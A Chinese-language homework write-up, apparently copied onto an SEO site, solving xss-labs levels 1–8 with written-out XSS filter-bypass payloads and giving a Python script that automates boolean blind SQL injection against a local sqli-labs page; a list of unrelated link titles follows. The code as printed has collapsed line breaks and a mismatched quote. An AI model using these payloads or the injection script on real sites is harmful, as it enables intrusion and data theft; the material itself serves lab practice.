当前位置: 首页 > wzjs >正文

南昌网站设计资讯优化网站性能

南昌网站设计资讯,优化网站性能,制作app界面,网站开发项目的简介一、作业要求 1、xss-labs 1~8关 2、python实现自动化sql布尔育注代码优化(二分查找) 二、操作过程 (一)xss-labs 1~8关 1、前期准备 (1)打开小皮面板,并启动Apache和MySQL (2)将 xss-labs…

一、作业要求

1、xss-labs 1~8关
2、python实现自动化sql布尔育注代码优化(二分查找)

二、操作过程

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

2、level1

(1)漏洞:当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

(2)解决方式:直接在name=test后面加入xss攻击语句

​<script>alert(1)</script>

3、level2

(1)漏洞:输入框的alue属性未过滤,但<h2>内容被转义

(2)解决方案:闭合value的双引导,利用未过滤的输入点注入脚本

①在搜索框输入​<script>alert()</script>查询不到

②查看源代码

可以看到输入的<script>alert()</script>在<input>标签的value中,需要">闭合,因此要在搜索框中输入

“><script>alert()</script>

4、level3

(1)漏洞:<和>被转义,但单引号未过滤

(2)解决思路

①先在搜索框中输入第二个关卡的代码,发现查询不到

②查看源代码

发现它将闭合的>给实体化了,所以导致语句没有执行成功 。可以采用onfocus事件进行绕过,则在搜索框中输入' οnfοcus='alert() 

'οnfοcus='alert()       //单引号闭合

5、level4

(1)漏洞:双引号闭合属性值

(2)解决思路:与第三关相同,使用onfocus事件实现绕过

①先在搜索框中输入第三个关卡的代码,发现查询不到

②查看源代码

可以采用onfocus事件进行绕过,则在搜索框中输入

1" onclick="alert(1)      //双引号闭合

6、level5

(1)漏洞:onclick和script被替换为o_nclick和scr_ipt

(2)解决思路

①利用之前关卡的代码,发现查询不到

②查看源代码

发现onclick和script被替换为o_nclick和scr_ipt,

③由于onclick和script都用不了,但是通过网页源码发现并没有过滤<>,所以可以用<a href="#">在a标签中,最重要的是href属性,这个属性可以实现一个链接到javascript

"><a href="javascript:alert(1)">点击</a>

 搜索后会跳出来一个点击,点一下就可以过关了!

7、level6

(1)在第五关的基础上,将href替换为hr_ef

(2)解决方案

①利用上一关卡的代码,发现查询不到

②查看源代码

通过源代码发现href被替换成了hr_ef,并且可以看出这个网页并没有限制大小写,所以可以采用转大写绕过。

"><a HREF="javascript:alert(1)">点击</a>

8、level7

(1)漏洞:输入的代码被过滤了

(2)解决思路

① 利用上一关卡的代码,发现查询不到

②查看源代码

③ 利用onfocus事件进行绕过发现on这个关键字被过滤

④通过测试可以看到都过滤了href,onfocus中的on。因为只过滤了on,则可以采用双写绕过。构造oonn,当过滤中间on时然后两边的字母重新重组为on实现绕过操作

"oonnfocus="alert(1)"     //双写绕过

9、level8 

(1)漏洞:href属性自动解码Unicode 

 (2)解决思路

①输入javascript:alert(1)

②查看源代码 

③对javascript:alert(1)进行编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

④将编码输入搜索框后,点击下面的友情连接就完成关卡了

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")

2、输出结果

数据库名长度: 8
数据库名: security

完成

http://www.dtcms.com/wzjs/420524.html

相关文章:

  • 设计师招聘网站有哪些免备案域名
  • 关于网站开发的网站网站友情链接是什么
  • 公司要制作网站电商广告网络推广
  • 厦门市建设局查询保障摇号网站惠州seo代理商
  • 设计网网站东莞网站建设最牛
  • 在因特网上建设网站可选择的方案有如何开发一个软件平台
  • 淘宝客网站建设分类怎么样免费做网站
  • 做php网站的环境友情链接免费发布平台
  • 网站版面设计推广普通话手抄报文字
  • 帮别人做违法网站会判刑吗百度云网盘资源搜索
  • 一个人做网站原型信息检索关键词提取方法
  • 网站 缓存方式企业文化宣传策划方案
  • 小江高端网站建设域名怎么查
  • 合肥网站优化seo爱站站长工具
  • 山西网站建设公司国内免费ip地址
  • 群晖搭建wordpress不加端口潍坊seo招聘
  • 新郑网站建设公司2022年新闻摘抄十条简短
  • 代做计算机毕业设计网站福州网站制作推广
  • 四川省住建设厅网站云南seo
  • b2c网站推广山西seo
  • 网站建设调查报告范文在线查网站的ip地址
  • 广西专业建网站seo搜索优化公司报价
  • 上海雷蒙威手表网站免费发seo外链平台
  • 烟台北京网站建设长沙seo排名收费
  • 绛县苗木网网站是由谁建设的营销模式方案
  • 北方工业大学网站建设app广告联盟
  • 网站建设(中企动力)网销平台排名
  • 外包客服公司seo优化技巧有哪些
  • 防制网站怎么做凡科官网免费制作小程序
  • 建设银行网站上的的研究报告数据分析网